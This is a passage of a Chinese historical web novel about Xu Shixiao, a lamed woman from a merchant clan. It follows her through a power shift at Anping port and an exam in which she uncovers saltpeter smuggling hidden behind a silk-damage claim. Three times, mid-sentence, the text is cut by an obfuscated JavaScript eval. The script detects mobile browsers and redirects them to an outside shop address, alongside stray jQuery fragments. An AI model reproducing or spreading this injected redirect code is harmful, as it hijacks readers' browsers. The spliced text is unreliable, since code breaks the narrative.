陈炳台虽做着纲首，但一向明哲保身，安平港的执事杜巢又是李老爷子的身边人。 有这尊大佛在，他平日里便不大方便过问港里的事，可看今日情形，难道真出了事？ 他心底微微一沉，面上却不显，只转回头，语气如常：“走吧，先去寻杜执事。” 许师孝看他一眼，没说什么，只撑着竹拐跟上。 陈炳台毕竟担着纲首的担子，安平港出事，他决计脱不了干系。 如此想，他面上不显，脚下却越走越快。 许师孝看着他疾去的背影，撑着竹拐费力跟上。 这港署深广，四面点灯。 穿过回廊，便见一道溪河横在眼前。水是活水，引自海湾，宽不过二十步。 她深吸一口气，抬脚，登上溪河廊桥。 桥身微拱，登高望远，对岸灯火更密，人影幢幢如蚁聚。 “那里便是执事堂？”她望向陈炳台背影。 陈炳台正望着对岸出神，听见她那问，脸上掠过一丝烦躁，很快又恢复平静：“那是清榷堂。” 话音未落，只见廊桥那头，一个穿着花青色长衫的中年男子，脚步踉跄地走来，灯火惶惶，他脸色苍白得有些不自然。 陈炳台一眼认出，那是执事堂的账房吴先生。 他心头一跳，紧走几步迎上去。 许师孝撑着竹拐，不疾不徐地跟在他身后。 “吴先生！”陈炳台唤道，声音急切。 吴账房看见了陈炳台的脸，慌忙拱手，声音发颤：“陈老！您可算来了！” “港里究竟出了什么事？”陈炳台看向对岸那混乱一片，“杜执事何在？” 吴账房仓惶地四下一瞥，凑得更近：“杜巢今早已被后泉堂的人处置了！就在李家堂下，当着几位主事的面，账目对到一半，李三爷便发了话，把人当场拖走了！眼下、眼下是后泉堂的人在封账清点，杜巢手下几位亲信，也都被看了起来……” 陈炳台心下一沉，只觉得一股凉气从脚底倏然窜起，脚下不由得倒退半步，眼前一黑。 · 混沌中，先浮起来是声音。 鼎沸人声，锅铲撞击，沸水翻滚。热气裹着饭菜油腻的香，还有一丝药草苦味。 陈炳台睁开眼，看见了水汽氤氲的梁椽。 他动了动脖颈，才发现自己躺在一张硬板榻上，从榻边小门，能看见外头大灶间，火光熊熊，数十口铁锅白汽蒸腾。 竟是安平港的公厨？ “陈老醒了？”一道平和的声音从旁传来。 陈炳台侧头，怔住。 这才看见许师孝就坐在离榻不远的一张方桌旁。 桌上摆着几样菜碟，一盘葱烧海参，油亮喷香，一大碗鱼头豆腐汤，奶白浓郁，再加上碧绿的炒时蔬，热气腾腾。 许师孝手里端着个小瓷碗，慢条斯理地吃着。 这厨间纷乱油腻，她这一隅，竟有种奇异的安详。 见他醒了，她放下碗，朝旁微微颔首。 侍从机灵，立刻从大茶壶里倒了一碗温茶，小心端到榻边。 陈炳台被扶着半坐起来，接过茶水喝了两口，温茶水滑过干涩的喉咙，才觉魂魄归位了。 他按住晕眩的额头，看向她：“这是……怎么回事？我怎会在此？” “不必惊慌，”许师孝目光温和：“您老方才您急火攻心，又空腹半日，晕了过去。港里的大夫来看过，扎了几针，说静养便可。此处是公厨后间，方才外面实在太乱，这才把您挪到这儿歇脚。” 陈炳台松了口气，原来只是晕倒。 但转念一想，他的脸色又白了：“杜巢、杜巢他真的……” 后泉堂的处置，无外乎人头落地。 许师孝抬手示意噤声，她是初来乍到，并不清楚陈炳台与那位杜执事的关系，但看他如今心绪不定，怕要说出什么不合时宜的话。 她思忖片刻，深望了他一眼，目光又扫向对面大门。 陈炳台似乎会意，顺着她的目光看过去，隔着昏暗的甬道，对面亮处除了几个忙碌的厨役，也没有什么人。 等等…… 三两冷光，忽隐忽现。 是刀鞘。 门口竟还守着几个部曲！ 他倒吸一口凉气，只得将惊骇与疑问暂时压下，胸口却憋闷得厉害。 沉默片刻，陈炳台长长叹了口气，脸上满是颓然与后怕。 他看向许师孝，声音有些失魂落魄：“荀娘子，安平港出了这等大事……我此番，恐怕是帮不了你什么了。” “陈老何出此言？”许师孝诧异地看了过来。 如今安平港人事大变，但她倒不觉得，这变化会成为她此行的妨害。 陈炳台苦笑，压着嗓子道：“这不明摆着么？杜巢是安平港执事，他出事，港里头上这些人，谁能撇清？李三爷雷霆手段，既然动了他，必要彻查到底。我虽与杜巢无甚私交，但同在安平港，平日港务往来，千丝万缕……此刻他落难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240826|197726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我避嫌尚且不及，哪里还敢往跟前凑？更别提你那件事了。” 他摇了摇头，满面忧色，“只怕这回，我要惹上大麻烦了。” 听他连连哀叹，连带着她的差遣也要入土，许师孝不由好笑。 她喝了口豆腐汤，劝慰道：“您老多虑了。李三爷就算要开刀，刀也已经见了血。杜巢是什么人？那是李老爷子一手提拔上来的人，说到底，就是李家的家臣，李廷勘要处置他，当然不费什么事，您就不一样了。” 陈炳台目光一怔，不想她初来乍到，对安平港这些事，却是知之甚深。 照她所言，他靠着家族庇荫，确与杜巢不同。 许师孝接着道：“况且杜执事在安平港经营多年，手下亲信、故旧遍布港内。他一走，安平港能替他的人，也大都是他的亲信，此时反倒是您，摄此中事的机会最大。” 陈炳台捧着茶碗，眼睛渐渐睁大，手指开始发抖。 “你是说……”他喉结滚动了一下，声音干涩，“李三爷非但不会追究我，反而可能让我来做这个港署执事？” 他问得太直接，许师孝也不好担保，只目光郑重地望向他：“如果真有那么一天，荀某在港，还要仰仗陈老提携。” 说完，她竟撑着竹拐站起身，拱手一揖。 陈炳台怔怔望着她。 这一揖，竟将他心底那点轻视搅得七零八落。 他自家这一生——大哥早夭，二哥不理俗务，三哥远走外洋，家业才落到他这个“富贵闲人”手里。旁人说他运气好，他总不甘，可今日若正应了她所言，杜巢倒台，会便宜了他，那当真是运气使然了。 “陈老？”许师孝侧目提醒。 陈炳台回过神来，却见小门外光影一动，一名青衣侍从已快步而入，躬身道： “陈纲首，后泉堂那边遣人来，李三爷请您一叙。” 是李三爷亲自问话。 陈炳台一惊，下意识转头，正对上许师孝笃定的目光。 他心潮翻涌，终究没再说什么，只是朝着她，郑重还了一礼。 而后，不再耽搁，整了整方才躺皱的衣袍，他转过身，跟着那侍从，向门外走去。 · 许师孝坐下来，刚执起汤匙，甬道那头又传来了脚步声，抬头，便见一个青衣侍从走到桌前，躬身行礼： “方才执事堂吩咐下来，请您预备着，明日巳正，在‘清榷堂’偏厅，有场应选。” 许师孝抬眼看向他：“考什么？” “自然是娘子的‘二柜’差遣。” 侍从笑道，“出了这档子事，原定的章程不免要变一变。明日，由孙执事亲自主持，应选后，再定去留。” 应选二柜，许师孝是不怕的，她在港口上这么多年，论资历，论能耐，不会输给这里任何人，但—— 孙执事？ 许师孝眸光凝了一下，试探道：“可是那位专司海防、仓廪稽查的孙聘英，孙执事？” 侍从点头，笑道：“孙执事原先是巡检司的，去年才退下来，来了保商栈。” 许师孝的心猛然一沉。 孙聘英是认识她的，不光认识她，她的儿子还死在了当年安平港的暴乱中。 她原想着，保商栈是老人居多，且多为李老爷子海上旧部，这些人她陌生得很，他们也都没见过她。 却不想孙聘英来了这里，应选还由她主持，这可真是触了大霉头。 但转念思量，六年未见，她又在脸上添了几笔，孙聘英再看容貌，或许是认不出来的，不过，如今她的身上，却有比容貌更好辨认的特征—— “你们这里，有没有一个瘸子？” 15. 应选（一） 许师孝做了很多年瘸子，也同样用了很多年，来逃避这个身份。 不出门、不见旧人，把自己藏在不被人注意的惠安县。 而这一切，是漳州许家默许的，甚至是她的父亲、八闽商会如今的会首——许朝京一力促成的，远离港口，退出商会，家里每月拨给她两千两银子，来养着她旧日的戏班子和南海别苑、蕉潭那些人。 许师孝接受了这个安排，因为她确实很需要钱。 一旦没了船队和堂口的收入，那些泼天的花销，会比腿疾，先一步压垮她。 掂量着钱袋里的碎银，许师孝愁眉不展。 “客官，您到底要去哪儿？”车夫等得太久，有些不耐烦。 许师孝望着茫茫大雨，肩头衣衫湿了大半，已觉冷瑟。 世上能帮她治好腿的神医，漳州许家找遍了半个东南，也没能找到。 医治不成，她就需要一副拐杖。 一副藏在衣衫里、旁人都看不见的拐杖，掩盖她“瘸子”的身份。 可如今泉州的大工匠，大都被地方大族雇佣，她要从哪里找人，做成此事？ 许师孝靠在车壁上，听着不绝的雨声，心下愈发忐忑。 思忖良久，她忽然想起一人。 此人出自黄家七房，跟黄蔷算是同辈。 可两代之前就已被除族，其中详情，许师孝不得而知，只听到过一些风闻，说她祖父科举无望、沉迷奇技淫巧，还整日与一些下九流的人厮混一处，遭族中耻笑，后被扫地出门。 其人久在市舶做工，四处漂泊了几年，今年刚回到泉州。 就是她了。 不论成与不成，去一趟再说。 车帘倏然落下。 “洛阳桥东、义成巷第三户。” · 一盏油灯昏昏地映着案台。 黄葭指节微曲，捏着一根炭笔，在纸上缓缓推移。 她唇抿得极紧，眉骨投下的阴影遮了半双眼，眼白泛着血丝，眼尾却微微上扬，透出一分凌厉。 许师孝坐在西窗下，静静地看过来。 论交情，其实没有多少，只早年在市舶有几面之缘，而此人如今在工部挂牌，做了个五品官，主持海船督造，就不得不与福建的几个大海商有来往。 所以，许师孝断定，她有所请，此人断不会推拒。 但贸然上门，又为私事而来，确实不合礼数。 “今日之事，真是麻烦您了。” 对方没有接话，兀自伏案，抵住炭笔一端轻推。 许师孝坐在原位，焦心地等着，不知不觉喝完了两盅茶。 厢房里静悄悄的，只余外间雨声哗然。 大约半个时辰，黄葭终于搁笔，伸了个懒腰，仿佛如释重负。 喝了口茶，徐徐看向她，声音清朗：“没做过这种东西，但要绑在腿上，就只能用软木。先以白蜡木、山毛榉、竹片层压板，烘烤弯成贴合腿的长弧，内衬以软革，下接铁力木，代替脚来作支撑。” “你觉得如何？”她将案上图纸举起，眨眼向她示意。 许师孝看过去，图上画的，像是一个锁子甲的样式，层层叠叠的木片，如鱼鳞般裹着腿。 拐杖竟可以是这个样子。 她眼底闪过微芒，只对她一礼：“有劳了。” 黄葭不甚在意这些虚礼，只往后靠去，端详着图纸，又喝一口浓茶：“什么时候要？” “今夜。” 今夜？ 黄葭目光怔住，一口茶含在嘴里，猛地呛起来，侧过脸咳了好几声，眼角都泛了泪花。 ……真是、冤孽。 闽中海寇，先前在四礵列岛劫走他们大批福船，海防调兵无计，连她也不得不暂避锋芒。 漳州许家的老幺，虽说落魄，可与族中到底是一家人，打断骨头，还连着筋。 这跟她与黄家可不同，那是确确实实的两家人。 黄工部叹了口气，看来今夜是不得成眠了。 夜半，雨停，月挂中天。 黄葭蹲下来，将小腿外的拨杆转动，“咔嗒”一声，锁住了她的膝盖，“疼吗？” 许师孝站直，月下的影子格外单薄，面色微白：“不疼。” 明明是残废，偏要装成正常人的样子行走，岂能不付出代价？ 黄葭松开拨杆，迟疑地抬眼，正看着她额上的汗，笑了：“问疼，不是让你忍着。这么能忍，我还怎么调换转杆的力道。” 许师孝眸光微怔，原来是这个意思。 “疼吗？”黄葭低头抚上拨杆，又问。 “疼。”她道。 黄葭看着“麒麟甲”，点了点头，“我试着改用滚轮，更省力些，但任凭技艺高超，这东西长期束缚，仍旧会在腿外、膝上留下瘀痕、老茧，甚至会磨出血。” 说到这里，她抬起头，看进许师孝的眼睛：“你真的想好了？” 漳州许氏的出身，只要朝廷禁海声不再起，一辈子荣华富贵，衣食无忧，是顺理成章的事。 六年都过来了，这个时候还折腾自己，何必呢。 许师孝沉默一瞬。 “海通”给了她一个冒险的理由，但或许、这不是全部。 她曾经以为人是记不了太久远细致的事的，可那一夜，却被她记了那么久。 “潮、潮州帮的人！” 人群惊喊，汹涌成潮。 谁也没想到，原本负责接应的自己人，已被仇雔顶替！ 等意识到，一切都太晚了…… 刀光从侧边劈来，她来不及看清那人眼中的狠戾，身体倏忽倒下去，磕在石板上，眼前黑了一瞬。 耳畔，大片脚步声踩过水洼。 雨落在脸上，很凉。 勉强睁眼，只见头顶那一线天。 腿好痛、痛得难以喘息。 她张了张嘴，雨落进嘴里，很咸。 “我瘸了很久，每日晌午，坐起来晒太阳，就觉得这一天过得特别慢。但日子过得慢，命却好像很短，每到喝药，心里就很慌，好像真的是天不假年，时不我待。” 其实打从两年前起，许师孝就开始陆续出手掉手上的戏班子。 她不再是能挣大钱的人，这些纸醉金迷的嗜好也该改了。 “我能做的事已经不多，如果不趁还能行走的时候去做，等到病来如山倒的那天，我一定会后悔。” 从前她总以为，一切会照着希望的那样发展。 待到南洋的钱庄建起来，她会与黄祐常成婚，婚后就住在闽清，再在宅子里移栽一些南洋花木，等到孩子长大，就带着他们一起出海。 可人算不如天算。 六年前那一夜，在刀光冷雨中，她离死亡那么近，才知道事情不会总像预料中那样发展，生命也可以随时停在某个时刻，然后告诉你，这就是结局。 · 大雨潇潇落下。 许师孝去应选的这天，是走着去的。 “麒麟甲”缚在腿上，初时还不觉得，走得久了，便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240827|197726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生出一种木然的酸胀来，仿佛不是自己的腿了。 到了港署，巳时的天还昏昏的，四面上灯了，侍从都拿着笤帚，清扫着几条廊道。 走到清榷堂偏厅外，只见部曲已乌泱泱立了一片。 许师孝等了一会儿，站得有些累，便请人搬了条凳子，坐在廊下。 她侧目看了过去，只见门侧还站着几个小吏，与她一样等在这里，却不知是为什么事而来。 许师孝看了看漏刻，原定巳正开始的应选，时辰已过了一刻。 这是出了什么事？ 厅内，两位副考官脸上，神情微妙。 刘升来，是保商栈三栈的大柜，精瘦干练，此刻看着一份新送来的卷宗，唉声叹气：“何兄，你看这事闹的。孙聘英一早被后泉堂叫去问话，怕是杜巢那摊烂事，牵连到了二栈头上，真是狡兔三窟。” 何地山是港署的老书办，鬓角已白，闻言叹了口气，捻着胡须：“孙栈首不在，这考选按旧例，不过问问出身、经历，看看谈吐，走个过场。可今早听陆吾山的意思，上面是不想留这个‘荀泾’。” 不光是不想留，且要把人逼走。 刘升来眉头紧锁，拿起手边另一份更厚的卷宗：“所以才送来了这个。因杜巢的事，翻出了保商栈的一些烂账，这些东西，就连上面还无定论，竟说要借此考新人的‘实务’。” 他抽出一叠单据副本，苦笑，“这哪里是考二柜？分明是难为人。单看这几桩，牵扯海路、单证、保例，便是积年的老柜头，没经手过全套，也未必能厘清，何况这年轻人……” 何地山接过扫了几眼，面色也凝重起来：“‘漂货’、‘货价虚保’，真是件件棘手。这分明是预备好了，要让她知难而退，又或是当众出丑，自个儿辞去。” 他摇摇头，“陈老荐的人，怕是保不住了，只是事后他老人家问起，你我该如何作答？” 两人对视，皆看到对方眼中的无奈与一丝隐忧。 陈炳台暂摄安平港署，得罪了他，可不是什么好事。 若追究起来，搞不好算作他二人的过失。 这可真是“城门失火，殃及池鱼”了。 两人正唏嘘间，门吏来报，孙栈首一时半刻回不来，请两位副考官代行主持。 刘升来整了整衣袍，与何地山交换一个眼神，朝一旁的长随比了个手势。 长随会意，命人推开大门，沉声开口：“请应选者入内。” 许师孝步入偏厅，敛衽行礼。 厅内陈设简单，两张公案后坐着刘、何二人，面色端肃，身侧并无旁人。 孙聘英怎的不在？ 许师孝心下微动，情知有变。 这于她而言，当然是件好事。 但为了这场应选，昨夜一夜未合眼，带着困意撑到现在，却白费了一场功夫。 许师孝又不免失落。 刘升来不知她所想，只看一个单薄的身影立在那里，脸上似有愁容，心下不由叹了口气。 他依例问了姓名、籍贯，许师孝按预先备好的说辞一一应答，自称祖籍徽州，随父行商略识账目，后家道中落，投奔远房表叔陈炳台云云。 几句过后，刘升来话锋一转，目光平淡却带着压力：“荀娘子，保商栈四栈二柜，虽非一栈二栈那般紧要，却也需通晓海贸实务，今日既逢此机，便以栈内近日几桩待查的疑难旧案为考，请你参详一二，也算查验实务之能。你……” 他目光顿了顿，语气温和：“尽力而为罢。” 16. 应选（二） 许师孝依言在公案前站定，瞧见那堆积如山的卷宗，微微一怔。 根本不用细数，打眼一扫，便知这卷宗不下百份，用红、蓝、青、白四色线绳捆扎，高高垒起，几乎要遮住后面刘升来的半张脸。 “这些，”她抬起眼，目光迟疑地看向两人，“都要一一参详么？” 刘升来和何地山闻言，俱是一愣，脸上掠过一丝尴尬。 方才，他们光顾着自身难处，竟忘了这应选的关节。 若真把门外那些小吏搬来的卷宗全堆给眼前这人，莫说她能否看懂，便是只让她翻完，怕也得翻到日头西沉，哪里还是什么考选？ “咳。”刘升来清了清嗓子，与何地山交换了一个眼神。 “荀娘子且稍坐片刻。”刘升来语气缓和了些，指向厅侧一张空着的方凳，“卷帙浩繁，自不必尽览。待我与何书办稍作分拣，择其精要即可。” 许师孝道了谢，心道这还差不多。 她安静地走到一旁坐下，双手交叠置于膝上，等着两人分拣。 刘、何二人也不避她，反正这些她迟早要看。 他们快手快脚地将那堆卷宗摊开，就着公案分拣起来。 纸张沙沙声，此起彼伏，许师孝也很难不注意到这边。 只见两人围在案前，一边翻看，一边还低声念叨着什么。 刘、何二人浸淫实务多年，眼力毒辣，很快便根据牵扯的关节深浅、账目难易、涉及人事的背景模糊与否，将抽出的案卷分成了四小摞。 最难的那一摞，不过三五份，都是他二人也看不出错漏的生意。 最简单的那摞，则有七八份，多是些单据对不上、保例适用有些争议的案子，即便新手，仔细推敲、谨守章程也能说出个一二三来。 分拣完，刘升来眼中忽然精光一闪。 他连忙按住最简单的那摞，示意何地山。 两道目光一时交汇，意思再明显不过。 一定要让她拿这摞，拿了这摞，他们便可循循善诱，一步步教得她想出正解，到时候陆吾山问起来，他们已经是用了卷宗设题，谅他也不好说嘴，而陈老那边，把人留下，他们即是功德圆满。 何地山微微颔首，佩服得五体投地，此计甚妙，刘兄不愧是刘兄。 “荀娘子，请吧。”刘升来将分好的四摞卷宗在许师孝面前的空案上一字排开，语气公事公办，“你可任选其一，细阅之后，陈述其中关节、错漏之处，限时一个时辰。” 许师孝起身，走到案前。 她的目光平静地扫过那四摞卷宗，厚度竟然不一。最右边，封皮色新，摞得也最整齐，左边第二摞，就只有薄薄几份，纸张泛黄，边缘磨损，线绳也有些松脱，一看便是陈年官司。 雨声渐密，敲打着瓦檐。 她伸出右手，悬在空中，似乎有些犹豫。 刘升来屏息凝视着那只手，心中开始默念：拿右边，拿右边，拿右边…… 那只手终于伸了过来。 却越过了右边第一、第二摞，径直向左而去。 眼看就要落在左二——那是连他二人都无从分明的卷宗！ 刘升来眼皮猛地一跳，几乎下意识地，喉咙发出一声短促而清晰的轻咳：“咳！” 许师孝的手顿住了，抬起头，目光诧异，望向刘升来，似乎在问自己是不是做错了什么。 何地山见状，心中暗叹，陈老选的这人也太实诚了，还真一点儿也没领会到他们的良苦用心。 他只得开口，旁敲侧击：“荀娘子，这些卷宗各有不同，关乎你稍后陈述。你可以再斟酌斟酌，一定要选一份合宜的。” 这话已说得不能再明白了。 许师孝却似乎还看不清形势，目光只在两位考官脸上游曳着。 刘升来干脆避开了她的视线，端起旁边的茶盏，佯装喝茶。 何地山则看着她，眼神里已有几分恨铁不成钢。 许师孝将二人神情尽收眼底，收回手，拢在袖中，对着二人躬身一礼。 “多谢两位老前辈指点。” 她似乎是看明白了他们的意思，然而下一句，却教两人都愣住了。 “只是晚辈想着，既来应选，总要见些真章的。二位既来考我，想必也为考教出些实在的东西来。” 说罢，她不再犹豫，径直抽出了左二卷宗最上面一份。 纸张泛黄，经年受潮，边缘卷起，透着一股子年深月久的陈墨味。 “我选好了。” 刘升来与何地山心头一震，对视一眼，不由苦笑，心里说不出是佩服，还是怜悯。 看来是个有气性的人。 事已至此，多说便是画蛇添足了。 刘升来终于呷了一口茶，打眼扫过那份卷宗，索性开门见山：“这是‘永泰昌’的货损理赔，上月就了结了，账目皆平，各方画押无均异议。然上面仍觉其中有未尽之处，两度发还回来，命一栈复核。你……看看吧。” 许师孝翻开扉页，垂眸。 货主“永泰昌”，分号遍布闽浙两地，在泉州府，是远近闻名的生丝商。 船东陈阿海，有三条四百料福船，在安平港跑琉球航线二十年。 货物一百担“湖州上等辑里干经”，以特制油纸、锡皮箱封装。 依案卷所述，“永泰昌”委托陈阿海，承运百担辑里干经往琉球首里港。 船行至花瓶屿以北洋面，突遇风浪，货舱有海水渗入，堵漏移货后，仍有三箱生丝（计三担）箱面浸湿。 船抵首里，确认仅三个外箱潮损，内里生丝因密封好，不影响出售。 保商栈于是依约赔付三担生丝货值的一成五。 三方签押，账清案结。 这是一桩再小不过的损货赔偿，涉事人简单，条目清晰，几乎无从挑错。 能有什么猫腻呢？ 刘升来与何地山深知此事难明，都没有出声，静静地等她的下文。 许师孝的目光，正久久停留在两处细节上： 货物：湖州上等辑里干经。 目的地：琉球首里港。 秀眉微微蹙起。 良久，她抬眸，望向对面之人：“晚辈有一处浅见，思之不明，想请教二位。” 刘升来深吸一口气，放下茶盏，看向她：“讲。” 许师孝目光定定：“‘辑里干经’乃湖丝极品，价昂质轻，向来主销东洋。” “日本岛上诸侯、巨商，尤嗜此物，以制吴服、茶道小物，能出高价。琉球虽亦慕华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240828|197726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风，然其国小民寡，市场有限，所贩我朝生丝，多以……”她刻意停顿，“中继转贸。” 何地山捻须的手微微一顿。 许师孝收回目光，继续道：“琉球自嘉靖以来，受萨摩藩暗中操控甚深。所以这批货虽到达首里港，却多半不在本地买卖。” 刘升来与何地山目光微动，不想她对海上的生意，竟有如此见识。 琉球的华丝贸易，很大程度受日本萨摩藩影响甚至掌控，直接运去琉球的生丝，最终都流入了日本。 而之所以起运琉球，只因琉球是大明的藩属国，而日本却是“倭”。 货物运往日本，一经水师抓获，单一个“通倭”的罪名，就要人老命。 “可是你所说与这保单有何关联？”刘升来身子微微前倾，眉头拧着，“就算琉球吃不下这批货，他们要转卖日本，那也是另一笔生意，与安平港无关。” 何地山点头：“确是如此。” “两位稍安勿躁。”许师孝话锋一转，看向两人，“敢问五、六月由泉州发往琉球的船只，往往配载何种压舱、补利之货？” 刘升来闻言一怔，下意识张嘴答道：“大抵是……。” 三字脱口，他忽然停住，脸色微妙地变了。 “据我所知，五六月从闽海往琉球去的船，船上大差不差，有两样东西。” 许师孝语气微凉：“第一样，就是福杉。” 话音落，二人的心骤然沉底。 五、六月，正是福杉上市之际。 琉球缺木，但凡入了海商一道的人无有不知。 琉球群岛由珊瑚礁石灰岩构成，土地贫瘠，沙石多，高大乔木难以生长。 琉球朝廷甚至为此设了“山奉行所”，来辖制山林，禁止民间入山砍伐，将木材全部收归国有。 所以，从安平港去往琉球的船只，都以福杉压舱，抵达琉球后，就在本地售出，也是暴利。 陈阿海深谙琉球市场，决不会放过这笔生意。 “可是，杉木，恰恰是最能吸水的木材。” 许师孝垂眸望着卷宗：“货舱渗水，就连锡皮箱封装的‘辑里干经’都能受潮，那福杉居于底舱，得泡发成什么样子？” “请两位想想，整个底舱浸满了水，泡发的杉木重量几何？这四百料的小船竟然还能安然无恙地抵达琉球，难道不是怪事？” 刘升来与何地山沉默着，都不说话了。 海水渗入，最先受损的，当然是位置低的货物。 “所以，船上没有装杉木？”刘升来迟疑地开口。 许师孝尚未接话，何地山已点了点头。 两人脸上的神情，都是凝重。 商人重利，放着福杉这样顺手的买卖都不做，只有一种可能。 那就是他找到了比这利润更大的买卖。 而这世上最大的买卖，一定是提着脑袋做的。 何地山捋了捋胡须，呼吸都沉重了几分。 虽然还听不明白这位荀二柜意图所指，但他也有了预感，这桩买卖背后，一定有大官司。 刘升来目光微变，打破了此时沉默：“荀二柜，您方才说，从闽海去往琉球的船，船上大差不差，有两样东西。那第一样是福杉，第二样是什么？” 17. 应选（三） 许师孝静默片刻，抬眸直视二人：“是硝石。” “你……”刘升来猛地坐直了身体，手中那只建盏“哐”地一声顿在案上，盏内澄黄的茶汤泼出大半，顺着案沿，滴滴答答。 “荀二柜！”他面目惊骇，压低声音，厉声道：“这种事，也是能乱说的么！” “《大明律》明文有载，‘卖硫硝与外夷及边海贼寇者，不拘多寡，比照私将军器出境，为首处斩，从者发边卫充军！’” 何地山的脸色也白了，急忙环顾四周，见大门紧闭，侍从早被屏退，才用袖子抹了把额角冷汗。 再开口时，他声音干涩：“无凭无据，单凭船未载杉木，便揣测其私运硝石，真是……胆大包天！” 面对二人骤然而起的凌厉气势，许师孝神色未改：“日本盛产硫磺，但硝石奇缺，贩硝之事早有。” “海寇王直，起家于嘉靖年间，其人最大‘功业’之一，便是从暹罗等地大量采购硝石，贩运日本。” “嘉靖年，日本大名各自为政，室町幕府名存实亡，王直久据九州平户，挑动械斗，贩卖火器，大发战争财，其人虽伏诛多年，可有他这个先例，海上贩硝这条财路从来就没有断过。” 刘升来听得眉头紧锁，指节在案几上叩了一下又一下。 他在泉州港经营多年，三教九流的门道也算听过不少，可这“贩运硝石的海路”，确确实实是头一回听说。 心下不免起疑：这人莫不是从哪里听来些骇人的传闻，硬要往这单子上套？ 何地山的脸色也沉了下来。 从转运日本，到嘉靖年故事，简直异想天开。 这位二柜到底年轻，说话口若悬河。 先断定船上未载福杉，再推测必是运了比杉木更赚的货，如今竟直接点出是硝石。 这层层递推，过于虚浮。 海上买卖千千万，何以见得就是硝石？ 他捻着胡须，声音里透着长辈的严厉： “荀二柜，你的见识，老夫是佩服的。可你既知海上有贩硝的旧闻，如今看这案子有异，便径直往这最骇人的路上想，是否有些过于穿凿了？这里是港署，说话要讲实据，不是编传奇话本。” 这话说得重了，连刘升来都看了何地山一眼。 窗外风雨声渐紧，扑打着窗纸，哗哗作响。 许师孝迎着两人的目光，脸上却无愠色，仿佛早就料到有此一问。 “前辈教训得是。凭空指认，自是站不住脚。荀某这么说，自然已有七分把握。” 她将卷宗重新翻开：“要运硝石，最重要的就是防水。硝石受潮，会吸热结块，所以但凡走私硝石，必以锡皮箱封装。” 刘升来与何地山俱是一怔，目光不约而同地落在卷宗上。 “‘货物一百担……以特制油纸、锡皮箱封装’。”许师孝念出了声，“寻常人看了，只道是‘永泰昌’本钱雄厚，为上等生丝不惜工本，这原也没错。” “可锡器价昂，价比白银。商人算计成本，锱铢必较，封装之物，其价绝不应超过货物本身太多，否则岂不让人买椟还珠？” 许师孝淡淡一笑，“当年，有几个走私硝石的傻子，打着运瓷器的名义，打了二十几口锡皮箱，却没发觉箱子比他们运的白瓷贵出两倍，因而，货一刚到港，就被堂口的人扣下了。” 刘升来与何地山面面相觑，竟然还有这样的门道，还真是他二人孤陋寡闻了。 许师孝看着怔住的两人，笑道：“故此，海上有心运硝者，久而久之，便有一条不成文的规矩：必得以上等名贵货物为引。而湖丝、漳绒，便是最现成的两种。” 她说得笃定，因为自家祖上就靠这个起家。 嘉靖年，漳州许氏以自家漳绒作坊为引，走私大批硝石，流入日本，甚至一度在日本九州岛建起钱庄，与九州松浦氏、大内氏往来银钱，声势一时无两。 何地山沉默片刻，“那除锡皮箱之外，可还有旁的可疑之处？” “有。” 许师孝看向他，目光定定：“首里乃琉球王都，可首里港却并非人货往来的大港，寻常商人往往将货物运往那霸港，这笔单子却反其道而行之。” “不过，首里距那霸港炮台之东仅三里。所以，运到哪儿，其实也无关紧要。” 何地山点了点头，被这番理据说得心服口服。 “这么看来，船上除却三箱辑里干经用以躲避搜查，旁的箱子里，恐怕都装满了硝石。” 刘升来闻言，也是心思沉沉，只是心思已不在单子上。 他转过头，见雨气已收，天光破云而出，在窗纸上映出一片模糊的亮白，刺得他眼皮生疼。 此人年纪轻轻，却对海上关节了如指掌，连他们这两个在港署沉浮了半世的老吏，也自叹弗如。 这等见识，实在不像一个寻常商贾人家的子女。 他端起那盏早已凉透的茶，眼光在她沉静如水的侧脸上流转，终于问道：“荀娘子见识卓绝，非常人可及。刘某冒昧，敢问娘子这些是从何处得知？可是自幼随船出海，遍历风波？” 许师孝眸光微动，眼睫垂了下来。 言多必失。 今日过于冒进，原非意料之中，只是多年不碰这些事，方才越说越得意，也就得意忘形了。 事已至此，只能找补。 她合上卷宗，低头道：“前辈过誉，荀某哪里有什么见识，不过是近日常随陈老左右，听他老人家闲谈旧年掌故，胡乱记下一些，今日班门弄斧，让二位见笑了。” 她说得轻描淡写，仿佛只是从旁人口中听来的闲话。 刘升来与何地山却对视了一眼，皆从对方眼中看到了不信。 陈老固然是港署的耆宿，见识广博，但能将这些违禁犯科的门道，连带着前朝海寇的财路，都当作“闲谈”说与一个来应选的年轻人听？ 这未免太不合常理。 只是她既不愿深谈，二人也便识趣地不再追问。 几番对答过去。 